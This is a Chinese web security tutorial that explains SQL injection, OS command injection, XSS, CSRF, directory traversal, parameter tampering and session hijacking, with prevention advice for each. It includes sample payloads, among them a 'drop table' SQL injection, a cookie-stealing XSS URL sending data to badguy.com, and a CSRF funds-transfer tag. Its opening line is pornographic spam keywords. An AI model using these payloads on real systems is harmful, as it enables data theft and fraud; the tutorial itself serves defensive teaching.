偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

Web的脆弱性:各種注入、攻擊

安全 應(yīng)用安全
Web業(yè)務(wù)的迅速發(fā)展引起黑客們的強(qiáng)烈關(guān)注,接踵而至的就是Web安全威脅的凸顯,對(duì)Web服務(wù)器的攻擊可以說是形形色色、種類繁多,常見的有掛馬、SQL注入、XSS跨站腳本攻擊等。

隨著Web2.0、社交網(wǎng)絡(luò)、微博等等一系列新型的互聯(lián)網(wǎng)產(chǎn)品的誕生,基于Web環(huán)境的互聯(lián)網(wǎng)應(yīng)用越來越廣泛,企業(yè)信息化的過程中各種應(yīng)用都架設(shè)在Web平臺(tái)上,Web業(yè)務(wù)的迅速發(fā)展也引起黑客們的強(qiáng)烈關(guān)注,接踵而至的就是Web安全威脅的凸顯,對(duì)Web服務(wù)器的攻擊可以說是形形色色、種類繁多,常見的有掛馬、SQL注入、XSS跨站腳本攻擊等。

SQL注入

所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。

通過一下的例子更形象的了解SQL注入:

有一個(gè)Login畫面,在這個(gè)Login畫面上有兩個(gè)文本框分別用來輸入用戶名和密碼,當(dāng)用戶點(diǎn)了登錄按鈕的時(shí)候,會(huì)對(duì)輸入的用戶名和密碼進(jìn)行驗(yàn)證。驗(yàn)證的SQL語句如下:

select * from student where username='輸入的用戶名' and password='輸入的密碼'

如果能夠檢索到數(shù)據(jù),說明驗(yàn)證通過,否則驗(yàn)證不通過。

如果用戶在用戶名文本框中輸入 ' or '1' = '1' or '1' = '1,則驗(yàn)證的SQL語句變成:

select * from student where username='' or '1' = '1' or '1' = '1' and password=''

如果用戶在密碼文本框中輸入 1' or '1' = '1,則驗(yàn)證的SQL語句變成:

select * from student where username='' and password='1' or '1'='1'

以上兩個(gè)SQL語句的where條件永遠(yuǎn)是成立的,所以驗(yàn)證永遠(yuǎn)是有效的。

如果在用戶名文本框中輸入tom' ; drop table student-- ,則SQL語句變成:

[sql] view plaincopyprint?

1.select * from student where username='tom' ; drop table student--' and password=''

這樣就變成的兩條SQL語句,執(zhí)行完查詢操作,接著直接把student表給刪除了(雙連接符表示注釋)

如何防止SQL注入:

1.永遠(yuǎn)不要信任用戶的輸入。對(duì)用戶的輸入進(jìn)行校驗(yàn),可以通過正則表達(dá)式,或限制長(zhǎng)度;對(duì)單引號(hào)和雙"-"進(jìn)行轉(zhuǎn)換等。

2.永遠(yuǎn)不要使用動(dòng)態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲(chǔ)過程進(jìn)行數(shù)據(jù)查詢存取。

3.永遠(yuǎn)不要使用管理員權(quán)限的數(shù)據(jù)庫連接,為每個(gè)應(yīng)用使用單獨(dú)的權(quán)限有限的數(shù)據(jù)庫連接。

4.不要把機(jī)密信息直接存放,加密或者h(yuǎn)ash掉密碼和敏感的信息。

5.應(yīng)用的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯(cuò)誤信息對(duì)原始錯(cuò)誤信息進(jìn)行包裝。

6.采用一些工具或網(wǎng)絡(luò)平臺(tái)檢測(cè)是否存在SQL注入。#p#

OS命令注入

OS命令注入和SQL注入差不多,只不過SQL注入是針對(duì)數(shù)據(jù)庫的,而OS命令注入是針對(duì)操作系統(tǒng)的。OS命令注入即能夠在服務(wù)器上執(zhí)行任意命令。

如何防止OS命令注入:

1.不要調(diào)用外部程序。舉個(gè)例子,在UNIX系統(tǒng)上,有一個(gè)叫CGI的程序,可以執(zhí)行sendmail命令來發(fā)送郵件。也許你的web應(yīng)用程序也有發(fā)送郵件的功能,通過直接調(diào)用CGI程序發(fā)送郵件非常的簡(jiǎn)單,但是不要這樣做,因?yàn)樵趫?zhí)行sendmail命令的同時(shí),也會(huì)混雜進(jìn)其他OS命令,正確的做法是使用發(fā)送郵件的library。

2.過濾調(diào)、;,[,],|,<,>,\之類的符號(hào)。

3.設(shè)置用戶的權(quán)限。

XSS跨站腳本攻擊

XSS跨站腳本攻擊指攻擊者在網(wǎng)頁中嵌入客戶端腳本(例如JavaScript),當(dāng)用戶瀏覽此網(wǎng)頁時(shí),腳本就會(huì)在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的,比如獲取用戶的Cookie,導(dǎo)航到惡意網(wǎng)站,攜帶木馬等。

XSS攻擊場(chǎng)景有以下兩個(gè)方面:

1. Dom-Based XSS 漏洞。攻擊過程如下

Tom 發(fā)現(xiàn)了Victim.com中的Search.asp頁面有XSS漏洞,Search.asp的代碼如下:

1.       <html>

2.         <title></title>

3.         <body>

4.           Results  for  <%Reequest.QueryString("term")%>

5.           ...

6.         </body>

7.       </html>

Tom 先建立一個(gè)網(wǎng)站http://badguy.com,用來接收“偷”來的信息。然后Tom 構(gòu)造一個(gè)惡意的url(如下),通過某種方式(郵件,QQ)發(fā)給Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica點(diǎn)擊了這個(gè)URL,嵌入在URL中的惡意Javascript代碼就會(huì)在Monica的瀏覽器中執(zhí)行,那么Monica在victim.com網(wǎng)站的cookie,就會(huì)被發(fā)送到badguy網(wǎng)站中,這樣Monica在victim.com 的信息就被Tom盜了

2. Stored XSS(存儲(chǔ)式XSS漏洞)。該類型是應(yīng)用廣泛而且有可能影響大Web服務(wù)器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務(wù)器上,使得所有訪問該頁面的用戶都面臨信息泄露的可能。 攻擊過程如下

Alex發(fā)現(xiàn)了網(wǎng)站A上有一個(gè)XSS 漏洞,該漏洞允許將攻擊代碼保存在數(shù)據(jù)庫中,于是Alex發(fā)布了一篇文章,文章中嵌入了惡意JavaScript代碼。其他人如Monica訪問這片文章的時(shí)候,嵌入在文章中的惡意Javascript代碼就會(huì)在Monica的瀏覽器中執(zhí)行,其會(huì)話cookie或者其他信息將被Alex盜走

Dom-Based XSS漏洞威脅用戶個(gè)體,而存儲(chǔ)式XSS漏洞所威脅的對(duì)象將是大量的用戶。

如何防止XSS跨站腳本攻擊:

原則:不相信用戶輸入的數(shù)據(jù)

注意:攻擊代碼不一定在<script></script>中

1.將重要的cookie標(biāo)記為httponly,這樣的話Javascript中的document.cookie語句就不能獲取到cookie了。

2.只允許用戶輸入我們期望的數(shù)據(jù)。例如:年齡的textbox中,只允許用戶輸入數(shù)字,而數(shù)字之外的字符都過濾掉。

3.對(duì)數(shù)據(jù)進(jìn)行HtmlEncode處理。<轉(zhuǎn)化為&lt;、>轉(zhuǎn)化為&gt;、&轉(zhuǎn)化為&amp;、'轉(zhuǎn)化為&#039;、"轉(zhuǎn)化為&quot;、空格轉(zhuǎn)化為&nbsp;。

4.過濾或移除特殊的Html標(biāo)簽。例如:<script>、<iframe>、&lt;for<、&gt;for>、&quotfor。

5.過濾JavaScript 事件的標(biāo)簽。例如 "onclick="、"onfocus" 等等。

很多瀏覽器都加入了安全機(jī)制來過濾XSS(如下圖,在ie中輸入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>)。

Web的脆弱性:各種注入、攻擊

 #p#

CSRF跨站請(qǐng)求偽造

CSRF(XSRF)盡管聽起來很想XSS跨站腳本攻擊,但是它于XSS完全不同。XSS是利用站點(diǎn)內(nèi)的信任用戶,而CSRF則是通過偽裝來自受信任用戶的請(qǐng)求來利用受信任的站點(diǎn)。

與XSS相比,CSRF攻擊不大流行和難以防范,所以比XSS更具危險(xiǎn)性。

以下是一個(gè)CSRF的例子

受害者 Bob 在銀行有一筆存款,通過對(duì)銀行的網(wǎng)站發(fā)送請(qǐng)求http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款轉(zhuǎn)到 bob2 的賬號(hào)下。通常情況下,該請(qǐng)求發(fā)送到網(wǎng)站后,服務(wù)器會(huì)先驗(yàn)證該請(qǐng)求是否來自一個(gè)合法的 session,并且該 session 的用戶 Bob 已經(jīng)成功登陸。

黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進(jìn)行轉(zhuǎn)帳操作。Mallory 可以自己發(fā)送一個(gè)請(qǐng)求給銀行:http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是這個(gè)請(qǐng)求來自 Mallory 而非 Bob,他不能通過安全認(rèn)證,因此該請(qǐng)求不會(huì)起作用。

這時(shí),Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個(gè)網(wǎng)站,在網(wǎng)站中放入如下代碼:<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通過廣告等誘使 Bob 來訪問他的網(wǎng)站。當(dāng) Bob 訪問該網(wǎng)站時(shí),上述 url 就會(huì)從 Bob 的瀏覽器發(fā)向銀行,而這個(gè)請(qǐng)求會(huì)附帶 Bob 瀏覽器中的 cookie 一起發(fā)向銀行服務(wù)器。大多數(shù)情況下,該請(qǐng)求會(huì)失敗,因?yàn)樗?Bob 的認(rèn)證信息。但是,如果 Bob 當(dāng)時(shí)恰巧剛訪問他的銀行后不久,他的瀏覽器與銀行網(wǎng)站之間的 session 尚未過期,瀏覽器的 cookie 之中含有 Bob 的認(rèn)證信息。這時(shí),悲劇發(fā)生了,這個(gè) url 請(qǐng)求就會(huì)得到響應(yīng),錢將從 Bob 的賬號(hào)轉(zhuǎn)移到 Mallory 的賬號(hào),而 Bob 當(dāng)時(shí)毫不知情。等以后 Bob 發(fā)現(xiàn)賬戶錢少了,即使他去銀行查詢?nèi)罩?,他也只能發(fā)現(xiàn)確實(shí)有一個(gè)來自于他本人的合法請(qǐng)求轉(zhuǎn)移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢后逍遙法外。

如何防止CSRF跨站請(qǐng)求偽造:

1.對(duì)于web站點(diǎn),將持久化的授權(quán)方法(例如cookie或者HTTP授權(quán))切換為瞬時(shí)的授權(quán)方法(在每個(gè)form中提供隱藏field)。

2.“雙提交”cookie。此方法只工作于Ajax請(qǐng)求,但它能夠作為無需改變大量form的全局修正方法。如果某個(gè)授權(quán)的cookie在formpost之前正被JavaScript代碼讀取,那么限制跨域規(guī)則將被應(yīng)用。什么叫限制跨域規(guī)則呢?限制跨域規(guī)則就是:如果服務(wù)器需要在Post請(qǐng)求體或者URL中包含授權(quán)cookie的請(qǐng)求,那么這個(gè)請(qǐng)求必須來自于受信任的域,因?yàn)槠渌蚴遣荒軓男湃斡蜃x取cookie的。上面那個(gè)例子的受信任域就是銀行網(wǎng)站的某個(gè)域,而Mallory發(fā)給Bob的鏈接不是受信任的域。

3.使用Post代替Get。Post方式不會(huì)在web服務(wù)器和代理服務(wù)器日志中留下數(shù)據(jù)尾巴,然而Get方式卻會(huì)留下數(shù)據(jù)尾巴。

4.以上三點(diǎn)都是正對(duì)web站點(diǎn)的防御手段,第4點(diǎn)是從用戶的角度的防御手段。通過在瀏覽其它站點(diǎn)前登出站點(diǎn)或者在瀏覽器會(huì)話結(jié)束后清理瀏覽器的cookie來防止CSRF攻擊。#p#

目錄遍歷漏洞

目錄遍歷漏洞在國(guó)內(nèi)外有不同的叫法(信息泄露漏洞、非授權(quán)文件包含漏洞、等等)。目錄遍歷漏洞就是在程序中沒有過濾用戶輸入的../和./之類的目錄跳轉(zhuǎn)符,導(dǎo)致惡意用戶可以通過提交目錄跳轉(zhuǎn)來遍歷服務(wù)器上的任意文件,其危害可想而知。

如何防止目錄遍歷漏洞

1.權(quán)限控制。

2.對(duì)包含了惡意的符號(hào)或者空字節(jié)進(jìn)行拒絕。

3.使用絕對(duì)路徑+參數(shù)來控制訪問目錄,使其即使是越權(quán)或者跨越目錄也是在指定的目錄下。

參數(shù)篡改

參數(shù)值竄改是網(wǎng)絡(luò)攻擊的一種形式,其中在URL中的某些參數(shù)或由用戶輸入的網(wǎng)頁形式領(lǐng)域數(shù)據(jù)都在沒有得到用戶授權(quán)的情況下改變了。這導(dǎo)致瀏覽器指向一個(gè)不是用戶想去的鏈接、網(wǎng)頁或網(wǎng)站(盡管對(duì)隨機(jī)觀測(cè)者來說它們看上去幾乎一樣)。參數(shù)值篡改被犯罪者用來獲取個(gè)人或商業(yè)信息。

如何防止參數(shù)篡改:

1.對(duì)所有參數(shù)值進(jìn)行驗(yàn)證。

2.根據(jù)sessionid進(jìn)行遷移,參數(shù)使用服務(wù)器端的值。#p#

會(huì)話劫持

會(huì)話劫持就是在一次正常的會(huì)話過程當(dāng)中,攻擊者作為第三方參與到其中,他可以在正常數(shù)據(jù)包中插入惡意數(shù)據(jù),也可以在雙方的會(huì)話當(dāng)中進(jìn)行監(jiān)聽,甚至可以是代替某一方主機(jī)接管會(huì)話。

我們可以把會(huì)話劫持攻擊分為兩種類型:1)中間人攻擊(Man In The Middle,簡(jiǎn)稱MITM),2)注射式攻擊(Injection)

中間人攻擊:簡(jiǎn)而言之,所謂的MITM攻擊就是通過攔截正常的網(wǎng)絡(luò)通信數(shù)據(jù),并進(jìn)行數(shù)據(jù)篡改和嗅探,而通信的雙方卻毫不知情

注射式攻擊:這種方式的會(huì)話劫持比中間人攻擊實(shí)現(xiàn)起來簡(jiǎn)單一些,它不會(huì)改變會(huì)話雙方的通訊流,而是在雙方正常的通訊流插入惡意數(shù)據(jù)

還可以把會(huì)話劫持攻擊分為兩種形式:1)被動(dòng)劫持,2)主動(dòng)劫持。

被動(dòng)劫持:在后臺(tái)監(jiān)視雙方會(huì)話的數(shù)據(jù)流,叢中獲得敏感數(shù)據(jù)。

主動(dòng)劫持:將會(huì)話當(dāng)中的某一臺(tái)主機(jī)“踢”下線,然后由攻擊者取代并接管會(huì)話,這種攻擊方法危害非常大,攻擊者可以做很多事情

如何防止會(huì)話劫持:

1.限制入網(wǎng)的連接。

2.設(shè)置你的網(wǎng)絡(luò)拒絕假冒本地地址從互聯(lián)網(wǎng)上發(fā)來的數(shù)據(jù)包。

3.加密也是有幫助的。FTP和Telnet協(xié)議是最容易受到攻擊的。SSH是一種很好的替代方法。

責(zé)任編輯:藍(lán)雨淚 來源: 殤雲(yún)的專欄
相關(guān)推薦

2010-11-08 09:43:47

2022-05-27 05:42:34

容器云安全

2010-05-27 12:56:26

2021-07-16 16:53:42

無人機(jī)評(píng)估威脅

2024-02-04 00:00:00

Go貨幣接口

2023-07-17 13:44:23

2016-12-08 08:35:30

2013-09-09 11:41:18

天融信漏洞掃描TopScanner

2011-11-03 10:35:52

2017-03-22 13:45:00

驅(qū)動(dòng)器服務(wù)器

2023-06-25 14:44:27

2019-03-15 14:21:02

互聯(lián)網(wǎng)數(shù)據(jù)技術(shù)

2021-05-18 14:14:25

網(wǎng)絡(luò)安全醫(yī)療IT

2019-05-07 08:51:56

2021-07-02 10:35:09

數(shù)據(jù)庫互聯(lián)網(wǎng)架構(gòu)

2010-09-08 13:10:03

2021-05-11 09:00:59

美國(guó)燃油網(wǎng)絡(luò)網(wǎng)絡(luò)攻擊

2021-06-16 09:40:44

網(wǎng)絡(luò)安全物聯(lián)網(wǎng)代碼

2024-06-13 15:59:30

2023-08-24 12:13:40

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)